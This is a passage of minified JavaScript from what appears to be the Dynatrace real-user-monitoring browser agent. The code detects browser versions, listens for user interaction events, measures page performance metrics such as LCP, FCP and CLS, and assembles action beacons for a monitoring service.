buffered:!0})}catch(a){}else rb("GLOBAL_EVENT_FIRED",function d(b){var f=b.detail;b=f.e.timeStamp;if(Lh||-1===mf($m,f.t)||!b)b=!1;else{f=ef();var l=1E12<b;l&&b<f?b=!1:(Lh=Math.round(l?b-f:b),Ci=Math.max(0,Math.round(Dm()-Lh)),Zj(),b=!0)}b&&wb("GLOBAL_EVENT_FIRED",d)})}function ii(a){a.detail.i===Kb&&(wb("ACTION_CLOSED",ii),gi=1)}function yh(a){var b=a.detail,d=b.a;a=b.s;if(b.i===Kb){wb("ACTION_BEFORE_SEND",yh);gi=2;b=[];d=a-d;if(hc("pt")){if(jf.lcpT){var f=Zm;for(var l=ll.length-1;0<=l;l--)if(ll[l].Aa<
d){f=ll[l];break}f&&0!==f.Aa?f.Aa>d?f={Aa:-6}:Yj=f.size||0:f={Aa:-5};f.Bc&&f.Nc&&f.url?b.push(["lcpE",f.Bc],["lcpSel",f.Nc],["lcpS",String(f.size)],["lcpT",String(f.Aa)],["lcpU",f.url],["lcpLT",String(f.loadTime)]):b.push(["lcpT",String(f.Aa)])}else b.push(["lcpT","-3"]);jf.fcp?b.push(["fcp",String(Bk?Bk>d?-6:Sa(Bk):-5)]):b.push(["fcp","-3"]);jf.fp?b.push(["fp",String(kl?kl>d?-6:Sa(kl):-5)]):b.push(["fp","-3"])}if(hc("cls"))if(jf.cls){f=b.push;l=0;for(var r=jl;l<r.length;l++){var G=r[l],ea=G.startTime;
if(ea<d){if(5E3<ea-fi||1E3<ea-zg)fi=ea,ei=0;zg=ea;ei+=G.xf;yg=Math.max(yg,ei)}}jl=[];f.call(b,["cls",String(+yg.toFixed(4))])}else b.push(["cls","-3"]);if(hc("lt"))if(jf.lt){f=b.push;l=String;r=0;G=ef();ea=0;for(var ya=zk;ea<ya.length;ea++){var ob=ya[ea],zb=r+ob.duration>d;G+ob.startTime+ob.duration<=a&&!zb&&(r+=ob.duration)}null===Wj||void 0===Wj?void 0:Wj.disconnect();f.call(b,["lt",l(Math.round(r))])}else b.push(["lt","-3"]);0===Lh&&0===Ci||b.push(["fIS",String(Lh)],["fID",String(Ci)]);0<b.length&&
ag("_wv_",b,Kb,Mb,1)}}function jm(){try{var a=mb.dT_;if(!a||!(void 0===mb.dialogArguments?navigator.cookieEnabled||Ja():Ja()))return!1;var b=mb.dT_;b.initialized=!1;b.pageId="";b.pageTitle="";b.frameCount=0;b.bwsW=0;b.bwsH=0;b.syn=!1;b.googleBot=!1;b.tp=Pd;b.tdto=ic;b.gicv=L;b.aFU=jd;b.gPId=Lc;b.iRO=bc;b.gBI=H;b.iMD=ia;b.cfg=N;b.acfgP=ha;b.smbi=ve;b.ism=vd;b.iMod=u;b.gMu=E;b.tau=R;b.icr=oa;b.lv=Za;b.sv=vb;b.svl=Oa;b.gh=Ha;b.cvs=Xf;b.aesc=I;b.puesc=ka;b.rsc=Cb;b.tpesc=$a;b.ulc=Qb;b.afpl=Zb;b.apl=q;
b.rpl=D;b.dbg=t;b.dbc=y;b.dlf=Y;b.rxapply=Eb;b.loc=O;b.sch=fj;b.gPO=Nb;b.gCPO=ac;b.gNTO=qa;b.vAT=Sa;b.cVIn=mc;b.sNT=Oc;b.gPAH=zd;b.id=Db;b.ss=Cf;b.ssP=Wk;b.asl=nf;b.sMPS=Bg;b.gBP=tf;b.cB=Xk;b.sB=rk;b.gid=Wc;b.ea=ud;b.la=We;b.lx=Ed;b.ex=bf;b.ec=mg;b.lc=kh;b.eV=Mj;b.pe=Fl;b.pw=qk;b.pl=Kf;b.rv=bh;b.rs=nd;b.pcn=Jf;b.ca=jb;b.can=Gi;b.isci=ig;b.noa=Te;b.ti=M;b.las=Va;b.gca=lb;b.gAR=Rd;b.gAA=Bd;b.sxbe=Gf;b.aWF=$e.dtAWF;b.mx=lh;b.mxf=Fd;b.mxg=fm;b.mxc=Hl;b.mxt=Il;b.mxp=bl;b.mxs=tj;b.mxu=Tj;b.gITAID=ke;b.re=
qj;b.rex=Uk;b.bi=Ub;b.ei=dd;b.gci=Pb;b.gpi=cc;b.cii=lc;b.pii=$c;b.gcv=K;b.aad=Ne;b.sole=Dc;b.iolm=td;b.solb=Od;b.slem=Dd;b.lst=V;b.sle=pe;b.obc=Lj;b.ile=Tk;b.gLEELF=ib;b.gNNTV=aa;b.gLAet=Jb;b.iSAC=vi;b.sSAC=pk;b.lAID=pa;b.maep=ui;b.snt=k;b.aO=xg;b.rO=Qj;b.aMO=$h;b.rMO=Zk;b.gMN=al;b.sMN=Jh;b.lAM=Ng;b.eta=Rj;b.lta=Sj;b.etc=Og;b.ltc=Pg;b.cia=Ei;b.wst=vk;b.wsp=dl;b.wtt=gm;b.rpm=Af;b.sasl=Wi;b.dnrui=Ce;b.aFr=ad;b.fE=Ac;b.aM=wk;b.cA=gd;b.aAP=uh;b.iBt=la;b.cAE=ag;b.addE=rb;b.remE=wb;b.disE=pc;b.red=sa;b.cUIRO=
Vd;b.aAWC=Cc;b.gXACT=Sd;b.aF=Kh;b.uaxu=Bc;b.gaxu=qe;b.last=nb;b.aFI=el;b.aur=Ca;b.oK=oc;b.oHOP=Ra;b.aS=ai;b.oV=Vj;b.gdi=pi;b.ssmbi=He;b.gecsss=Uj;b.fEP=Ic;b.iVRA=Ai;b.sNV=Nj;b.sVDM=B;b.gVDM=J;b.fP=dc;b.iNF=ta;b.aAPy=Xe;a.version="10243220606153550";var d=C();Zc=d.st;kc=d.nw;$d=d.pn;yc=d.io;Ob=d.apush;lf=d.sC;ng=d.gC;Hg=d.esc;Cd=d.cLSCK;og=d.gPC;ij=d.sPC;Mi=d.iVSC;Id=d.p3SC;pd=d.gSC;jj=d.sSC;qi=d.gVI;Yl=d.cPC;lk=d.gSSV;Qk=d.sSSV;mh=d.gEBTN;ph=d.gEL;Li=d.gSId;cg=d.pCfg;Ni=d.pCSAA;wl=d.cFHFAU;Ej=d.sCD;hc=d.bcv;
Tc=d.ncv;Xc=d.scv;fh=d.stcv;Xl=d.rplC;Qe=d.aBPSL;zl=d.gBPSL;Eh=d.gBPSCC;bg=d.gFId;Mk=d.oEIE;hj=d.oEIEWA;Ll=d.iNV;jk=d.gVID;Dk=d.gARnVF;nj=d.cAUV;kd=d.sVIdUP;Cl=d.gDtc;aj=d.cfgO;gk=d.version;wm=d.rBPSL;Ud=d.aNVL;Mh=d.dPV;Em=d.ePV;Ml=d.eA;nl=d.dA;Nk=d.iXB;kk=d.de;Fj=d.aRI;Oi=d.gXBR;Qh=d.cCL;Dm=d.rnw;ef=d.gto;Hj=d.iEC;ti=d.ct;If=d.ael;El=d.cuel;Am=d.gNVIdN;Gj=d.gxwp;mf=d.aIOf;ol=d.prm;Fm=d.gidi;tm=d.iDCV;hk=d.gCF;d.iIO?Ue=d.iIO:(Ue=Aa,d.iIO=Ue);d.gPSMB?Ii=d.gPSMB:(Ii=fa,d.gPSMB=Ii);d.iAEPOO?md=d.iAEPOO:
(md=S,d.iAEPOO=md);d.lvl?oe=d.lvl:(oe=va,d.lvl=oe);ra=ol();var f=navigator.userAgent;try{a=/Firefox[\/\s](\d+\.\d+)/;b=/(iPod|iPhone|iPad)/;d=/AppleWebKit/;if(0<=yc(f,"MSIE")){var l=f.lastIndexOf("MSIE")+5;p.ie=$d(f.substring(l,l+3));var r=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(r,r+1))}else if(0<=yc(f,"Trident")){var G=f.lastIndexOf("Trident")+8;p.trident=$d(f.substring(G,G+1));if(0<=yc(f,"rv:")){var ea=f.lastIndexOf("rv:")+3;var ya=$d(f.substring(ea,ea+2))}else 0<=yc(f,"rv ")?(ea=f.lastIndexOf("rv ")+
3,ya=$d(f.substring(ea,ea+2))):ya=NaN;p.ie=ya}else if(0<=yc(f,"Edge")){var ob=f.lastIndexOf("Edge")+5;p.edge=$d(f.substring(ob,ob+2))}else if(0<=yc(f,"Edg/")){var zb=f.lastIndexOf("Edg/")+4;p.ec=$d(f.substring(zb,zb+2))}else if(0<=yc(f,"Android")){var pb=yc(f,"Android")+8;p.ab=parseFloat(f.substring(pb,pb+3))}else if(f.match(b)&&f.match(d))p.msf=parseFloat((f.match(/(?:OS |Version\/)([0-9]+)(?:[_.][0-9])*/)||[])[1]);else if(("Safari"===navigator.appName||-1<yc(f,"Safari"))&&-1===yc(f,"Chrom")){var Tb=
f.substring(f.lastIndexOf("Version/")).match(/Version\/([0-9]+(\.[0-9]*)?)/);var Hc=Tb?$d(Tb[1]):NaN;p.sf=Hc}else if(mb.opera)p.op=$d(mb.opera.version().split(".")[0]);else if(0<=yc(f,"OPR/"))p.op=$d((f.match(/OPR\/([0-9]*\.[0-9]*)/)||[])[1]);else if(a.test(f)){var zc=$d((f.match(a)||[])[1]);p.ff=-1===zc?0:zc}else{var Ad,Zd=null===(Ad=/Chrome\/([0-9]{1,4})/.exec(f))||void 0===Ad?void 0:Ad[1];p.ch=Number(Zd)||NaN}C().syn=0<yc(f,"RuxitSynthetic");C().googleBot=0<=yc(f,"Googlebot")}catch(Gm){}var Pc,
Ke=mb.dT_,Dh=gb();Dh!==Ke.version&&(null===(Pc=mb.console)||void 0===Pc?void 0:Pc.log("WARNING: Snippet version ["+Ke.version+"] and monitoring code ["+Dh+"] versions do not match! Please update your code snippet to ensure compatibility."));Ke.version="10243220606153550";h=Ke.agentStartTime||Ke.gAST();if(!Ke||Ke.initialized)return!1;f=0;for(var Ve=oc(Bj);f<Ve.length;f++)Bj[Ve[f]]=[];Sc();Qd();Pf=aj?aj():C().cfg;Pf.initializedModules="";Nk(Pf);Rg();Ve=0;p.sf?Ve=100:p.msf&&(Ve=1E3);cm=Ve;Ze={actions:{},oa:[]};
Wl=1;ge=[];Le=[];Nd=null;Ab(null,!0);vf=[];Fi();Be=0;rb("PAGE_BACKGROUND_INFORMATION",oi);rm=Of(O());tg();rb("CONFIG_UPDATE",tg);yl={};dg=ic();Rh=zf=void 0;sm=0;ik=!0;hc("imm")&&ia()||(Kd("click","C","clk"),Kd("mousedown","D","mdw"),Kd("mouseup","U","mup"));Kd("dblclick","CC","dcl");Kd("keydown","KD","kyd");Kd("keyup","KU","kyu");Kd("scroll","S","scr");Kd("touchstart","TS","tcs");Kd("touchend","TE","tce");Kd("change","H","chg");if(Xc("ade")){var Qf=Xc("ade").split(",");if(Qf&&0<Qf.length)for(Ve=0;Ve<
Qf.length;Ve++)Kd(Qf[Ve])}pj=0;a:{var ri=mh("meta"),sf=Tc("mrt");for(Qf=0;Qf<ri.length;Qf++){var ff=ri[Qf],kj=ff.getAttribute("http-equiv");if(kj&&"refresh"===kj.toLowerCase()){var zh=ff.getAttribute("content");if($d((zh&&zh.split(";")||[])[0])<=sf){var xj=!0;break a}}}xj=!1}xj&&td();"undefined"!==typeof WeakMap&&(Sf=new WeakMap);var Hm=document.location;Hm&&ic().aFU(Hm.href);var Nl=Xc("rid");if(!Nl||"RID_"===Nl){ri=fh;var Ek=Xc("ridPath"),pl=Ek?Ek:mb.location.pathname,Di=mb.location.search;Di&&Di.length&&
"?"===Di.charAt(0)&&(Di=Di.substring(1));Ek=Di;var Fk=31+yb(pl);Fk=31*Fk+yb(Ek);ri("rid","RID_"+(Fk&Fk))}var ak=mb.performance;if(ak){var bk=Hb(ak);if(bk){var vn=Ka(bk)?0:qa(ak);Qb((bk.requestStart-(bk.redirectEnd||vn))/2,!0)}}If(mb,"beforeunload",Lj);If(mb,"unload",$g);If(mb,"pagehide",sh);If(document,"readystatechange",Vh);Zc(Zg,3E3);If(mb,"load",Uh);Mb=Rb();xj=!xj;var Nh=ic().sSAC;Nh&&Nh(!1);var be=(hc("dsss")?Za("dtSa"):decodeURIComponent(ng("dtSa"))).split("|");if(12===be.length){var bj=hc("dsss"),
wn=hc("dssv");Nh="";!bj&&wn?Nh=Za("dtSa",!0):bj&&!wn&&(Nh=decodeURIComponent(ng("dtSa")));var Ag=Nh.split("|");if(4===Ag.length){var Ol=Ag[1],xn=Ag[2],Rn=Ag[3];be.push(Ag[0]);be.push(Ol);be.push(xn||"");be.push(Rn)}}var Gk=be.join("|");xj&&xc("-");if(Gk&&"-"!==Gk){var ue=Gk.split("|");if(16===ue.length){var km=$d(ue[5]);be=Mb;if(km<=be&&6E4>=be-km){be={id:-1,kind:-1,hydrated:!1,trigger:-1};bj=0;for(var an=ka(ue[15]).split(";");bj<an.length;bj++){var Hk=an[bj],ck=Hk.substring(1);switch(Hk.charAt(0)){case "i":be.id=
Number(ck);break;case "k":be.kind=Number(ck);break;case "h":be.hydrated=!!Number(ck);break;case "t":be.trigger=Number(ck)}}var ql={isDelayed:"true"==ue[0],type:ue[1],id:$d(ue[2]),name:ue[3],info:ue[4],startTime:km,frameId:ue[6],qa:Ba(ue[7]),anchor:ue[10],aa:ue[11],na:{name:Ba(ue[12]),timestamp:$d(ue[13]),group:Ba(ue[14]),trigger:be.trigger,kind:be.kind,hydrated:be.hydrated,id:be.id}};ue=!1;C()!==ic()&&(ue=ic().iRO(ql.qa));!document.referrer||ql.qa===document.referrer||ql.qa===document.location.href||
ue?Sh=ql:xc(Gk)}else xc("-")}}try{B(1);oj=ae={id:++xm,name:Ch(O()),timestamp:Mb,kind:0,trigger:Hf,hydrated:!1};var wf,lm=null===(wf=Sh)||void 0===wf?void 0:wf.na,Ik=yf(lm,ae);Ya(Ik);rb("VIEW_STABLE",Fg);rb("ACTION_ENTERED",Df);rb("ACTION_BEFORE_SEND",Mf);rb("ACTION_SENT",Vg);Qc=F(da);rb("HISTORY_API_EVENT",P);If(mb,"popstate",P);If(mb,"hashchange",P);try{Qa("pushState"),Qa("replaceState")}catch(Gm){}Qe(hb)}catch(Gm){}Gb();ah();Md();Yd();w();ci();Fh="0";var ji=document.visibilityState;ji?("hidden"===
ji&&(Fh="1"),If(document,"visibilitychange",ni)):Fh="2";Yf();gi=0;var cj=!!mb.PerformanceObserver;jf.cls=!(!cj||!mb.LayoutShift);jf.fcp=!(!cj||!mb.PerformancePaintTiming);jf.fp=!(!cj||!mb.PerformancePaintTiming);jf.lcpT=!(!cj||!mb.LargestContentfulPaint);jf.lt=!(!cj||!mb.PerformanceLongTaskTiming);hc("pt")&&(jf.fp&&Ak(),jf.lcpT&&Xj());Zi();zk=[];hc("lt")&&jf.lt&&wj();Ck();rb("ACTION_CLOSED",ii);rb("ACTION_BEFORE_SEND",yh);Ih();yi();Qe(Zh);rb("DEBUG_INFO_REQUESTED",Gl);gj();ug();rb("DEBUG_INFO_REQUESTED",
Fm);re();if("undefined"===typeof mb.dT_)var Im=!1;else"undefined"===typeof mb.dtrum&&(mb.dtrum=new dj),Im=!0;if(!Im)return!1;var ki=C();ki.initialized=!0;"function"===typeof ki.initCallback&&ki.initCallback()}catch(Gm){return!1}return!0}var Gg="undefined"!==typeof window?window:self,mb="undefined"!==typeof window?window:self,Qg=navigator,Th=self,Ue,Ii,md,oe,Zc,kc,$d,yc,Ob,lf,ng,Hg,Cd,og,ij,Mi,Id,pd,jj,qi,Yl,lk,Qk,mh,ph,Li,cg,Ni,wl,Ej,hc,Tc,Xc,fh,Xl,Qe,zl,Eh,bg,Mk,hj,Ll,jk,Dk,nj,kd,Cl,aj,wm,Ud,Mh,
Em,Ml,nl,Nk,kk,Fj,Oi,Qh,Dm,ef,Hj,ti,If,El,Am,Gj,mf,ol,Fm,tm,hk,gk,h,n=mb.parent,p={ie:NaN,edge:NaN,ec:NaN,ff:NaN,ch:NaN,sf:NaN,msf:NaN,ab:NaN,trident:NaN,op:NaN},z="function"===typeof PerformanceResourceTiming||"object"===typeof PerformanceResourceTiming,T="function"===typeof PerformanceNavigationTiming||"object"===typeof PerformanceNavigationTiming,Xa="function"===typeof PerformanceTiming||"object"===typeof PerformanceTiming,ub="loadEventEnd loadEventStart domComplete domContentLoadedEventEnd domContentLoadedEventStart domInteractive responseEnd".split(" "),
kb=!1,Mb=-1,Kb,Gc=[],se=!1,Rf,Kg,Ig,de=!1,Be=0,ge=[],Le=[],Nd,Aj,co="^><%/\\(){}[]".split(""),nn=String.prototype.trim,Qm={"^":"^^","|":"^p",",":"^c",";":"^s"},on=function(a){var b={},d;for(d in a)Ra(a,d)&&(b[a[d]]=d);return b}(Qm),Ph={},fe,Bj=(fe={},fe.CONFIG_UPDATE=[],fe.ACTION_CLOSED=[],fe.ACTION_BEACON_FORCED=[],fe.ACTION_BEFORE_SEND=[],fe.ACTION_SENT=[],fe.ACTION_ENTERED=[],fe.ACTION_LEFT=[],fe.VIEW_CHANGE=[],fe.VIEW_STABLE=[],fe.DEBUG_INFO_REQUESTED=[],fe.CSS_TRANSMISSION_STARTED=[],fe.VISUALLY_COMPLETE=
[],fe.GLOBAL_EVENT_FIRED=[],fe.HISTORY_API_EVENT=[],fe.PAGE_BACKGROUND_INFORMATION=[],fe.LOAD_END=[],fe.INSTRUMENTATION_TRIGGERED=[],fe.PAGE_LEAVING=[],fe),Ze,ul=[],om=!1,Ki,Vl,Wg,pm=[],Cj=[],Ji,vl="",Wl=1,Dj=0,nh=[],Tm,Sn=function(){function a(){this.id=++Tm;this.pb=[];this.gd=this.Kb=!1;this.Tb=[]}a.prototype.jf=function(b){this.pb.push(b)};a.prototype.ng=function(b){for(var d=0;d<this.pb.length;d++)if(this.pb[d]===b){eb(this.pb,d);break}};a.prototype.ef=function(b,d,f,l){for(var r=0,G=this.pb;r<
G.length;r++)(0,G[r])(b,d,f,l)};a.prototype.lf=function(b){this.Rb=b;"string"!==typeof b&&(this.gd=!0)};a.prototype.Y=function(b,d,f){void 0===f&&(f=!1);this.Kb=this.Kb||f;Ob(this.Tb,[b,d])};a.prototype.Ya=function(b,d,f){d&&this.Y(b,d,f)};a.prototype.zb=function(b){for(var d=0,f=this.Tb;d<f.length;d++){var l=f[d];if(l[0]===b)return l[1]}return""};a.prototype.Yc=function(){for(var b=[],d=0,f=this.Tb;d<f.length;d++){var l=f[d];Ob(b,"$",l[0],"=",l[1])}return b.join("")};a.prototype.raw=function(){return this.Tb};
return a}(),Pf,oh=[],qm=0,rn=navigator&&"sendBeacon"in navigator,um=[],rm,Rm=[],pn=0,si="-",xl=0,xm=0,ae,oj,Xg=[],Hf=0,Bl=0,lj=[],sb,eo=(sb={},sb.name="",sb.type="",sb.validUntil=0,sb.start=0,sb.target=void 0,sb.url="",sb.title="",sb.view=void 0,sb),zf,Rh,sm,ik,dg,yl,qn=-1,Sh,Ok=[],li,ej,rl,Pl,fo=(li={},li._csprv_=(ej={},ej.blockedURL=je,ej.documentURL=je,ej.referrer=je,ej.sourceFile=je,ej),li._customerror_=function(a,b){return Wd(a,b,!0)},li._vc_=(rl={},rl.VE=function(a,b){return b},rl),li._dj_=
function(a,b){return b},li._wv_=(Pl={},Pl.lcpU=je,Pl),li),dk=!0,go=function(){function a(){}a.prototype.zc=function(){return new Sn};a.prototype.kg=function(b,d){if(dk)return null;var f=this.zc();hc("bs")&&f.Y("bs","1",!1);ja(kg,this,b,d,f);return f.Kb?f:null};a.prototype.hf=function(b,d,f,l){f.Ya("isUnload",l?"1":"",!1);f.Ya("latC",ng("dtLatC"),!1);f.Ya("app",Xc("app"),!1);f.Y("vi",qi(),!1);f.Ya("dnt",W()?"1":"",!1);f.Y("fId",bg(),!1);l=gb();var r=gk;f.Y("v",l,!1);r!==l&&f.Y("iv",r,!1);b||(l=jk(),
this.av(f,"vID",l),this.ha(f)&&Ll()&&this.av(f,"nV","1"));!b&&d&&Dk()&&f.Y("nVAT","1",!1);b=f.Ya;d=encodeURIComponent;l=Gc;Gc=[];b.call(f,"vcr",d(l.join(",")))};a.prototype.nf=function(b){var d=Kg;d&&de&&(b.Y("responseCode",d.responseCode,!1),b.Ya("responseMessage",Hg(d.message),!1),Kg=void 0)};a.prototype.qd=function(b,d,f){void 0===b&&(b=!1);void 0===d&&(d=!1);void 0===f&&(f=!1);if(b){var l=[];for(var r="",G="",ea={nb:0},ya=0,ob=ge;ya<ob.length;ya++){var zb=ob[ya];var pb=zb;var Tb=ea;if(pb.bd(Tb.nb))var Hc=
pb=!0;else Tb.nb++,Hc=pb.bd(Tb.nb+pb.Ua),Hc||(Tb.nb+=pb.Ua),pb=!1;pb||(r||(r=zb.La()),G=zb.La(),zb.parentFrameActionName&&(pb=Ob,Tb=zb.pd,Tb=[0,zb.Kd,I(zb.parentFrameActionName),Tb].join("|"),pb(l,Tb)),Ob(l,zb.Mb(Hc)))}l={pc:l.join(","),referer:r,sourceUrl:G}}else l=mi(d,f);if(r=0<l.pc.length){G=this.zc();G.Y("a",Hg(l.pc),!0);Xc("domainOverride")&&(G.Y("dO",Xc("domainOverride"),!1),fh("domainOverride",""));hc("bs")&&G.Y("bs","1",!1);b&&G.Y("PV","1",!1);C().pageId!==bg()&&G.Y("pId",C().pageId,!1);
Vl&&G.Y("pFId",Vl,!1);G.Y("rId",Xc("rid"),!1);G.Y("rpId",Xc("rpid"),!1);if(!b){a:{ea=(ya=mb.performance)?ya.timing:!1;if(ya&&ea&&(ya=ea.domComplete,ea=ea.domContentLoadedEventEnd,ya||ea)){ea=ya?ya:ea;break a}ea=Rf}ea&&G.Y("domR",ea,!1);this.nf(G)}ne(f)&&G.Y("unload","xhr",!1);ja(kg,this,b,d,G);dk=!1}else G=this.kg(b,d);G&&(this.pf(l.sourceUrl,G),this.hf(b,r,G,f));return{beacon:G,referrer:l.referer}};a.prototype.pf=function(b,d){var f=O();d.Y("url",encodeURIComponent(f),!1);d.Y("title",Hg(Cb(U()).substring(0,
100)),!1);var l=d.zb("a");l=l&&("s"===l.charAt(0)||"d"===l.charAt(0));b&&b!==f&&!l&&d.Y("sUrl",encodeURIComponent(b),!1)};a.prototype.av=function(b,d,f,l,r){f="function"===typeof f?f():f;"undefined"!==typeof f&&null!==f&&""!==f&&b.Y(d+(r?r:""),f,l)};a.prototype.ha=function(b){return!!b.zb("a")};a.prototype.hla=function(b){return 0<=yc(b.zb("a"),"_load_")};a.prototype.ar=function(b,d){b.lf(d)};a.prototype.aBRL=function(b,d){b.jf(d)};a.prototype.rBRL=function(b,d){b.ng(d)};return a}(),sn=function(){for(var a,
b=[],d=0;256>d;d++){a=d;for(var f=0;8>f;f++)a=a&1?3988292384^a>>>1:a>>>1;b[d]=a}return b}(),mj=!1,Sm,Al,vg,tn,eg,Fh,yn=0,bn={u:"transferSize",v:"encodedBodySize",w:"decodedBodySize",L:"workerStart",M:"dtRpid",V:"dtSInfo",W:"dtTao"},am={x:"statuscode",y:"ip",A:"failedResource",C:"requestId",E:"relevance",F:"relevantArea",K:"isCritical",N:"vcIrrelevanceReason",O:"imageWidth",P:"imageHeight",Q:"imageNaturalWidth",R:"imageNaturalHeight",S:"onloadTime",T:"rtRequestId",U:"certExpDate"},cn={o:"domInteractive",
p:"domContentLoadedEventStart",q:"domContentLoadedEventEnd",r:"domComplete",s:"loadEventStart",t:"loadEventEnd"},ek={c:"redirectStart",d:"redirectEnd",e:"fetchStart",f:"domainLookupStart",g:"domainLookupEnd",h:"connectStart",i:"connectEnd",j:"secureConnectionStart",k:"requestStart",l:"responseStart",m:"responseEnd"},Pk=La(La(La({},ek),{n:"domLoading"}),cn),$l=La(La(La({},ek),cn),bn),Um=La(La(La({},ek),bn),am),Yg={},Zl=Math.pow(2,-52),Pn=["dtRpid","dtSInfo","dtTao","dtRequestID"],vm={unknown:0,xmlhttprequest:1,
fetch:2,beacon:3,iframe:4,frame:5,subdocument:6,img:7,image:8,css:9,svg:10,link:11,script:12,input:13,body:14,object:15,embed:16,source:17,audio:18,video:19,track:20,eventsource:21,other:22,icon:23},Vm={navigate:0,reload:1,back_forward:2,prerender:3},bm=!1,Jm=["_warning_","_error_","_log_","_rv_","_rs_"],qh=function(){function a(b,d,f,l,r,G,ea,ya,ob,zb,pb,Tb,Hc,zc,Ad,Zd,Pc){void 0===Hc&&(Hc={readyState:-1,status:-1});void 0===zc&&(zc=-1);this.start=b;this.stop=d;this.type=f;this.name=l;this.info=
r;this.domNodes=G;this.Fa=ea;this.title=ya;this.isCustomAction=zb;this.Ma=pb;this.nc=Hc;this.aa=Ad;this.ac=Pc;this.depth=1;this.Ca=this.ib=0;this.ra=-1;this.cc=this.Ua=0;this.jc=-1;this.$c="";this.subActions=[];this.sc=[];this.eb=[];this.errors=[];this.status=0;this.gb=[];this.jb=this.Xa=this.childFrameActions=0;this.J=!1;this.bb=0;this.xhrUrl="";this.Xc(ob);this.id=ke();this.Wc=Fh;this.ua(d);this.status=Tb?3:0;this.ma=0<=zc;this.Ca=Math.max(zc,0);Zd&&(this.na=Zd)}a.prototype.La=function(){return this.parent?
this.parent.La():this.Fa};a.prototype.ta=function(){return this.parent?this.parent.ta():this.id};a.prototype.ua=function(b){this.stop=b;Be=Math.max(Be,this.stop)};a.prototype.Sc=function(b,d){void 0===d&&(d=!1);(3!==this.status||d)&&b&&b.name&&(b.depth=this.depth+1,Ob(this.subActions,b),b.$b()&&(this.bb++,this.Ic(1)),b.parent=this,b.ma||this.hb(),b.Ca+=this.Ca,b.ib=this.ib+Number(b.ma))};a.prototype.Tc=function(){return 3===this.status&&!this.Pb()};a.prototype.close=function(b,d,f){var l,r;this.domNodes=
ph(mh("*"));this.start=d||this.start;d=!1;var G=this.start,ea=this.stop,ya=this.id,ob=this.bb;b&&(this.ua(Math.max(b,G,ea)),f&&(d=!0));if(ob)return this.status=1,!1;if(3===this.status)return!1;this.status=3;pc((l={},l.kind="ACTION_CLOSED",l.detail=(r={},r.s=ea,r.a=G,r.r=this.ta(),r.i=ya,r.f=!1,r.t=this.type,r.x=this.xhrUrl,r.dne=d,r.rt=void 0,r),l));return!0};a.prototype.Ac=function(){this.Ua--;this.parent&&this.parent.Ac()};a.prototype.Wb=function(b,d,f){var l=this;if(this.close(b,d,f)){var r=this.parent;
if(r){r.bb--;this.Cb()||r.Ac();var G=r.stop;r.ua(Math.max(this.stop,G));Zc(function(){l.Yd(r,G)},0);1===r.status&&r.Wb(b)}}};a.prototype.Yd=function(b,d){this.ma&&(ti(this.ra),b.stop===this.stop&&(b.stop=d),b.Ee(this),delete Ze.actions[this.id])};a.prototype.bd=function(b){return b+1>Tc("moa")&&!this.Cb()};a.prototype.ae=function(){var b=Fb(this.xhrUrl,"fetch"===this.info?"fetch":"xmlhttprequest",this.start,this.stop);return ua(b)?b:null};a.prototype.He=function(){var b=this.ae();if(!b||0>=b.startTime)return[];
ua(b)&&(b.rtRequestId=--yn,this.Hb=b);var d=["b",ef()+Math.round(b.startTime)];k(b,d,b.startTime);return d};a.prototype.Uc=function(){for(var b,d,f=this.start,l=this.stop,r=this.id,G=0,ea=this.subActions;G<ea.length;G++)ea[G].Uc();pc((b={},b.kind="ACTION_BEFORE_SEND",b.detail=(d={},d.s=l,d.a=f,d.i=r,d.r=this.ta(),d),b))};a.prototype.Qb=function(b){for(var d,f,l=this.start,r=this.stop,G=this.id,ea=this.type,ya=this.xhrUrl,ob=0,zb=this.subActions;ob<zb.length;ob++)zb[ob].Qb(b);pc((d={},d.kind="ACTION_SENT",
d.detail=(f={},f.s=r,f.a=l,f.r=this.ta(),f.i=G,f.f=b,f.t=ea,f.x=ya,f.rt=this.Hb,f),d));ti(this.ra);delete Ze.actions[this.id];this.J=!0};a.prototype.Db=function(){this.Ie=!0;Ac(this.subActions,function(b){b.Db()})};a.prototype.Pb=function(){return!!this.gb.length};a.prototype.Ue=function(){this.Va=this.start+1E4;this.kc=100;return this};a.prototype.af=function(){this.Ke=kc()};a.prototype.Qe=function(){this.Pc=kc()};a.prototype.We=function(){return!!this.Ke&&!this.Pc};a.prototype.$b=function(){return 1===
this.status||0===this.status};a.prototype.tb=function(){return(this.ma&&3===this.status||this.Ma&&!(0<this.cc))&&this.parent?this.parent.tb():this};a.prototype.Mb=function(b){var d=this.depth,f=this.sc,l=this.subActions;this.domNodes||(this.domNodes=ph(mh("*")));var r=[];Ac(f,function(G){Ob(r,Fe(G,d+1))});for(f=0;f<l.length&&!b;f++)Ob(r,l[f].Mb());r.unshift(this.Na());return r.join(",")};a.prototype.Na=function(){var b=this.stop,d=this.start,f=this.id,l=this.type,r=this.info,G=this.status,ea=this.name,
ya=[];ya[0]=String(this.depth);ya[1]=String(f);ya[2]=I(ea);ya[3]=I(l);ya[4]=I(r)||"-";ya[5]=String(d);ya[6]=String(3===G?b:0);b=0;for(d=this.be();b<d.length;b++)if(f=d[b],l=f[1])"string"===typeof l?l=I(l):l="boolean"===typeof l?String(Number(l)):String(l),ya.push(String(f[0]),l);return ya.join("|")};a.prototype.be=function(){var b=this.xhrUrl,d=this.jb,f=this.Xa,l=this.start,r=this.name,G=this.jc,ea=this.$c,ya=this.na,ob=this.Ag,zb=this.Wc,pb=this.eb.slice();pb.push(["dn",this.domNodes],["cfa",this.childFrameActions],
["xu",b],["ica",this.isCustomAction],["gn",this.aa]);var Tb=pb.push,Hc=Tb.apply;var zc=[];if(0!==Hf){var Ad=ae,Zd=Ad.name,Pc=Ad.timestamp;Ad=Ad.group;ya&&(ya.name!==Zd&&zc.push(["svn",ya.name]),ya.timestamp!==Pc&&zc.push(["svt",ya.timestamp]),ya.group&&ya.group!==Ad&&zc.push(["svg",ya.group]),zc.push(["svtrg",ya.trigger]),zc.push(["svm",ce(ya)]));ob&&(ob.name!==Zd&&zc.push(["tvn",ob.name]),ob.timestamp!==Pc&&zc.push(["tvt",ob.timestamp]),ob.group&&ob.group!==Ad&&zc.push(["tvg",ob.group]),zc.push(["tvtrg",
